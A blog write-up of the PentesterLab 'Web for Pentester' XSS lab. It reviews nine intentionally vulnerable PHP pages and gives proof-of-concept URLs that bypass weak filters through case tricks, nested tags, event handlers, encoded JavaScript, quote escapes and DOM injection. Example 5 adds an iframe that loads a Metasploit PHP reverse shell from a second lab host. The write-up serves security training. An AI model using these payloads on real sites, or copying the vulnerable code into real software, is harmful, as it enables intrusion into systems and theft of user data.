[PentesterLab] Web for Pentester - XSS

“This course details all you need to know to start doing web penetration testing. PentesterLab tried to put together the basics of web testing and a summary of the most common vulnerabilities with the LiveCD to test them.” – PentesterLab

Due to this is quite a long course, I have to divide the course into several parts and this one is focus on Cross Site Script attack which is well known as XSS. More information and ISO download please check here. The official course is highly recommanded to read.

Difficulty: 1 / 5

Example 1

Code review:

example1.php
1
2
3
4
5
6
7
<?php require_once '../header.php'; ?>
<html>
Hello 
<?php
  echo $_GET["name"];
?>
<?php require_once '../footer.php'; ?>

There is no input validation, so I can exploit it directly with the classic “alert(1)” injection.

PoC:

http://10.10.10.129/xss/example1.php?name=<script>alert(1);</script>

Example 2

Code review:

example2.php
1
2
3
4
5
6
7
8
9
<?php require_once '../header.php'; ?>
Hello 
<?php
  $name =  $_GET["name"];
  $name = preg_replace("/<script>/","", $name);
  $name = preg_replace("/<\/script>/","", $name);
echo $name;
?>
<?php require_once '../footer.php'; ?>

From the source code above, the developer filtered <script> and </script>. This is a sort of black list technique but only avoid one very specific situation. It can be bypassed easily by using upper letters or recursion. for example, both <sCript>alert(1)</sCript> and <scr<script>ipt>alert(1)</scr</script>ipt> are working perfectly.

PoC:

http://10.10.10.129/xss/example2.php?name=<sCript>alert(1)</sCript>

http://10.10.10.129/xss/example2.php?name=<scr<script>ipt>alert(1)</scr</script>ipt>

Example 3

Code review:

example3.php
1
2
3
4
5
6
7
8
9
<?php require_once '../header.php'; ?>
Hello 
<?php
  $name =  $_GET["name"];
  $name = preg_replace("/<script>/i","", $name);
  $name = preg_replace("/<\/script>/i","", $name);
echo $name;
?>
<?php require_once '../footer.php'; ?>

This time the developer use PCRE modifier “i” (PCRE_CASELESS) to match both upper and lower case letters. However, recursion method still works fine.

PoC:

http://10.10.10.129/xss/example3.php?name=<scr<script>ipt>alert(1)</scr</script>ipt>

Example 4

example4.php
1
2
3
4
5
6
7
8
9
<?php require_once '../header.php';

if (preg_match('/script/i', $_GET["name"])) {
  die("error");
}
?>

Hello <?php  echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>    

This time the script will stop when “script” is detected, so the previous methods will not work any more. However there are plenty of methods available in HTML to trigger an event without “script”, there are two examples as follow.

PoC:

http://10.10.10.129/xss/example4.php?name=<img src="xxxx" onerror="alert(1)">

http://10.10.10.129/xss/example4.php?name=<div onmousemove="alert(1)" src="xxxx">

There are more event triggers available in HTML.

Example 5

Code review:

example5.php
1
2
3
4
5
6
7
8
9
<?php require_once '../header.php';

if (preg_match('/alert/i', $_GET["name"])) {
  die("error");
}
?>

Hello <?php  echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>

This time the developer filtered keyword “alert”, obviously there are many methods to exploit the vulnerability without using “alert” function. such as:

http://10.10.10.129/xss/example5.php?name=<iframe width=0 height=0 src="http://10.10.10.131/sh5555.php">

Here sh5555.php is PHP reverse shell (php/reverse_php, LPORT is 5555) generated by msfpayload.

Still, there are methods to bypass input validation to use “alert” function.

PoC:

http://10.10.10.129/xss/example5.php?name=<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

http://10.10.10.129/xss/example5.php?name=<script>confirm(1)</script>

http://10.10.10.129/xss/example5.php?name=<script>prompt(1)</script>

Example 6

example6.php
1
2
3
4
5
6
<?php require_once '../header.php'; ?>
Hello 
<script>
  var $a= "<?php  echo $_GET["name"]; ?>";
</script>
  <?php require_once '../footer.php'; ?>

This time user input has been included in “<script>” tab, so we do not need input “<script>” and just close the first double quote and use “//” to comment the following strings.

PoC:

http://10.10.10.129/xss/example6.php?name=";alert(1);//

Example 7

example7.php
1
2
3
4
5
6
7
<?php require_once '../header.php'; ?>
Hello 
<script>
  var $a= '<?php  echo htmlentities($_GET["name"]); ?>';
</script>
  
<?php require_once '../footer.php'; ?>

This time the developer use PHP function “htmlentities()” to deal with user input, the “htmlentities()” function will encode special characters which will break the XSS injection. However, the developer did not indicate any flags to function “htmlentities()” which default only use flags “ENT_COMPAT | ENT_HTML401”, “ENT_COMPAT” flag only convert double quotes and leave single quotes alone. So in this case, the following payload will work fine:

PoC:

http://10.10.10.129/xss/example7.php?name=';alert(1);//

Example 8

example8.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
  require_once '../header.php';

  if (isset($_POST["name"])) {
    echo "HELLO ".htmlentities($_POST["name"]);
  }
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

<?php
  require_once '../footer.php';
?>

This time the developer did correct validation on parameter “name”, but the problem happened on “$_SERVER[PHP_SELF]”. Due to there is no validation on parameter “PHP_SELF” which is controlled by user, I still can inject XSS and exploit the vulnerability.

PoC:

http://10.10.10.129/xss/example8.php/" onmouseover="alert(1)

Example 9

example9.php
1
2
3
4
5
<?php require_once '../header.php'; ?>
<script>
  document.write(location.hash.substring(1));
</script>
<?php require_once '../footer.php'; ?>

This time is DOM-based XSS. the user input is in URL after “#”, so just put payload after “#” in URL will trigger the vulnerability.

PoC:

http://10.10.10.129/xss/example9.php#<script>alert(1)</script>

Reference:

[1] XSS Filter Evasion Cheat Sheet

To be continued…

2015-05-21 21:11:45 +1000